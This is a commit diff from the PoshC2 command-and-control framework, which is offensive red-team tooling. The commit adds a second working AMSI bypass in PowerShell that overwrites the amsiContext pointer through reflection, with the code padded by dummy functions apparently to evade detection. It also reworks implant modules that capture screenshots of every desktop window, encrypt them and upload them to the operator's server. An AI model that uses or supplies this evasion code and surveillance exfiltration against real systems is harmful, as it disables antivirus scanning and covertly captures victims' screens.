Skip to content

Commit 14fd715

Browse files
benpturnerbenpturner
committed
Updated get-screenshot & get-screenshot-allwindows PS command handler
Updated amsi bypass Fixed screenshot-allwindows Multi-Screenshot Typo
1 parent 3bfc2b3 commit 14fd715

File tree

7 files changed

+139
-23
lines changed

7 files changed

+139
-23
lines changed

‎poshc2/client/command_handlers/PSHandler.py‎

Lines changed: 114 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -107,14 +107,14 @@ def get_commands():
107107

108108

109109
@command(commands, commands_help, examples, block_help)
110-
def do_disable_amsi(user, command, implant_id):
110+
def do_disable_amsi_1(user, command, implant_id):
111111
"""
112112
Disables / wipes the amsiContext
113113
114114
ref: https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion/amsi-bypass
115115
116116
Examples:
117-
disable-amsi
117+
disable-amsi-1
118118
"""
119119

120120
command = """
@@ -138,6 +138,91 @@ def do_disable_amsi(user, command, implant_id):
138138
insert_object(new_task)
139139

140140

141+
@command(commands, commands_help, examples, block_help)
142+
def do_disable_amsi_2(user, command, implant_id):
143+
"""
144+
Disables / wipes the amsiContext
145+
146+
ref: https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion/amsi-bypass
147+
148+
Examples:
149+
disable-amsi-2
150+
"""
151+
152+
command = """
153+
# Dummy function to simulate some unrelated logic
154+
function Test-DummyFunction {
155+
Write-Output "Starting dummy function..."
156+
$x = 10
157+
$y = 20
158+
$z = $x + $y
159+
Write-Output "The sum of $x and $y is $z"
160+
}
161+
162+
# Another dummy function
163+
function Another-DummyFunction {
164+
Write-Output "Running another dummy function..."
165+
$a = "Hello"
166+
$b = "World"
167+
$c = "$a, $b!"
168+
Write-Output $c
169+
}
170+
171+
# Main script begins
172+
Write-Output "Initializing the main script..."
173+
Test-DummyFunction
174+
Another-DummyFunction
175+
176+
# Reflective assembly analysis
177+
$a = [Ref].Assembly.GetTypes()
178+
ForEach($b in $a) {
179+
if ($b.Name -like "*iUtils") {
180+
$c = $b
181+
Write-Output "Found matching type: $($b.Name)"
182+
}
183+
}
184+
185+
# Retrieve specific fields
186+
$d = $c.GetFields('NonPublic,Static')
187+
ForEach($e in $d) {
188+
if ($e.Name -like "*Context") {
189+
$f = $e
190+
Write-Output "Found matching field: $($e.Name)"
191+
}
192+
}
193+
194+
# Manipulate field value
195+
$g = $f.GetValue($null)
196+
[IntPtr]$ptr = $g
197+
[Int32[]]$buf = @(0)
198+
Write-Output "Preparing to copy buffer to memory..."
199+
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
200+
Write-Output "Buffer copied to memory."
201+
202+
# Additional dummy logic
203+
function Final-DummyFunction {
204+
Write-Output "Executing final dummy function..."
205+
$numbers = 1..5
206+
foreach ($num in $numbers) {
207+
Write-Output "Number: $num"
208+
}
209+
}
210+
211+
# Main script ends
212+
Final-DummyFunction
213+
Write-Output "Script execution completed."
214+
"""
215+
216+
new_task = NewTask(
217+
implant_id=implant_id,
218+
command=command,
219+
user=user,
220+
child_implant_id=None
221+
)
222+
223+
insert_object(new_task)
224+
225+
141226
@command(commands, commands_help, examples, block_help)
142227
def do_install_servicelevel_persistence(user, command, implant_id):
143228
"""
@@ -1074,7 +1159,7 @@ def do_get_multi_screenshot(user, command, implant_id):
10741159
Gets multiple screenshots over a defined period, one screenshot per beacon.
10751160
10761161
Examples:
1077-
get-multi-screenshot 2m
1162+
get-multi-screenshot -timedelay 10 -quantity 30
10781163
"""
10791164
pwrStatus = get_power_status(implant_id)
10801165

@@ -1112,6 +1197,32 @@ def do_stop_multi_screenshot(user, command, implant_id):
11121197
insert_object(new_task)
11131198

11141199

1200+
@command(commands, commands_help, examples, block_help)
1201+
def do_get_screenshot_allwindows(user, command, implant_id):
1202+
"""
1203+
Gets a screenshot of all windows on the the current desktop.
1204+
1205+
Examples:
1206+
get-screenshot-allwindows
1207+
"""
1208+
pwrStatus = get_power_status(implant_id)
1209+
1210+
if pwrStatus is not None and pwrStatus.screen_locked:
1211+
ri = input("[!] Screen is reported as LOCKED, do you still want to attempt a screenshot? (y/N) ")
1212+
1213+
if ri.lower() == "n" or ri.lower() == "":
1214+
return
1215+
1216+
new_task = NewTask(
1217+
implant_id=implant_id,
1218+
command=command,
1219+
user=user,
1220+
child_implant_id=None
1221+
)
1222+
1223+
insert_object(new_task)
1224+
1225+
11151226
@command(commands, commands_help, examples, block_help)
11161227
def do_get_screenshot(user, command, implant_id):
11171228
"""

‎poshc2/server/AutoLoads.py‎

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -72,8 +72,10 @@ def run_powershell_autoloads(command, implant_id, user, load_module_command="loa
7272
check_module_loaded("Exploit-EternalBlue.ps1", implant_id, user, load_module_command=load_module_command)
7373
elif command.startswith("ps"):
7474
check_module_loaded("Get-ProcessList.ps1", implant_id, user, load_module_command=load_module_command)
75-
elif command.startswith("get-screenshotallwindows"):
76-
check_module_loaded("Get-ScreenshotAllWindows.ps1", implant_id, user, load_module_command=load_module_command)
75+
elif command.startswith("get-multi-screenshot"):
76+
check_module_loaded("Screenshot.ps1", implant_id, user, load_module_command=load_module_command)
77+
elif command.startswith("get-screenshot-allwindows"):
78+
check_module_loaded("Screenshot-AllWindows.ps1", implant_id, user, load_module_command=load_module_command)
7779
elif command.startswith("invoke-psuacme"):
7880
check_module_loaded("Invoke-PsUACme.ps1", implant_id, user, load_module_command=load_module_command)
7981
elif command.startswith("invoke-bloodhound"):
@@ -293,7 +295,8 @@ def run_powershell_autoloads(command, implant_id, user, load_module_command="loa
293295
check_module_loaded("Invoke-URLCheck.ps1", implant_id, user, load_module_command=load_module_command)
294296
elif command.startswith("get-injectedthread"):
295297
check_module_loaded("Get-InjectedThread.ps1", implant_id, user, load_module_command=load_module_command)
296-
298+
elif command.startswith("get-screenshot"):
299+
check_module_loaded("Screenshot.ps1", implant_id, user, load_module_command=load_module_command)
297300

298301
def run_sharp_autoloads(command, implant_id, user, load_module_command="load-module"):
299302
command = command.lower().strip()

‎poshc2/server/Tasks.py‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -194,6 +194,7 @@ def save_task_output(uri_path, encrypted_session_cookie, post_data):
194194
"Screenshot not captured, the screen could be locked or this user does not have access to the screen!")
195195
print(
196196
"Screenshot not captured, the screen could be locked or this user does not have access to the screen!")
197+
print(parsed_output)
197198
elif executed_command.lower().startswith("run-exe quickdraw"):
198199
if parsed_output.startswith("[-]"):
199200
update_task(task_id, parsed_output)

resources/modules/Get-ScreenshotAllWindows.ps1 renamed to resources/modules/Screenshot-AllWindows.ps1

Lines changed: 15 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
function Get-ScreenshotAllWindows {
1+
function Get-Screenshot-AllWindows {
22

33
param(
44
[string] $TaskId
@@ -11,21 +11,22 @@ function Get-ScreenshotAllWindows {
1111
$assembly = [System.Reflection.Assembly]::Load($dllbytes)
1212
}
1313

14-
$processes = Get-Process
15-
foreach ($p in $processes)
16-
{
17-
try {
18-
[IntPtr] $windowHandle = $p.MainWindowHandle;
19-
$msimage = New-Object IO.MemoryStream
14+
$processes = Get-Process
15+
foreach ($p in $processes)
16+
{
17+
try {
18+
[IntPtr] $windowHandle = $p.MainWindowHandle;
19+
$msimage = New-Object IO.MemoryStream
2020
$bitmap = [WindowStation]::Capture($windowHandle);
21-
$bitmap.save($msimage, "png")
22-
$b64 = [Convert]::ToBase64String($msimage.toarray())
21+
$bitmap.save($msimage, "png")
22+
$Output = [Convert]::ToBase64String($msimage.toarray())
2323
$bitmap.Dispose();
24+
$Output = Encrypt-CompressedString $key $Output
25+
$UploadBytes = getimgdata $Output
2426
$eid = Encrypt-String $key $TaskId
25-
$send = Encrypt-String2 $key $b64
26-
$UploadBytes = getimgdata $send
2727
(Get-Webclient -Cookie $eid).UploadData("$Server", $UploadBytes)|out-null
28-
} catch {}
29-
}
28+
29+
} catch {}
30+
}
3031
$error.clear()
31-
}
32+
}

resources/modules/Get-Screenshot.ps1 renamed to resources/modules/Screenshot.ps1

File renamed without changes.

‎resources/modules/Stage2-Core.ps1‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -328,7 +328,7 @@ Function Test-ADCredential
328328
$object.IsValid = $pc.ValidateCredentials($username, $password).ToString();
329329
return $object
330330
}
331-
Function Get-MultiScreenshot {
331+
Function Get-Multi-Screenshot {
332332
param($Timedelay, $Quantity, [string] $TaskId)
333333

334334
if ($Quantity -and $Timedelay) {

‎resources/payload-templates/Implant-Core.ps1‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -223,7 +223,7 @@ while($true)
223223
$Output = "ErrorLoadMod: " + $error[0]
224224
}
225225
Send-Response $Server $key $id $Output
226-
} elseif ($i.ToLower().StartsWith("get-screenshotallwindows")) {
226+
} elseif ($i.ToLower().StartsWith("get-screenshot-allwindows")) {
227227
try {
228228
$i = $i + " -taskid " + $id
229229
Invoke-Expression $i | Out-Null
@@ -241,7 +241,7 @@ while($true)
241241
$Output = "ErrorGetWebpage: " + $error[0]
242242
Send-Response $Server $key $id $Output
243243
}
244-
} elseif ($i.ToLower().StartsWith("get-screenshotmulti")) {
244+
} elseif ($i.ToLower().StartsWith("get-multi-screenshot")) {
245245
try {
246246
$i = $i + " -taskid " + $id
247247
Invoke-Expression $i | Out-Null

0 commit comments

Comments
 (0)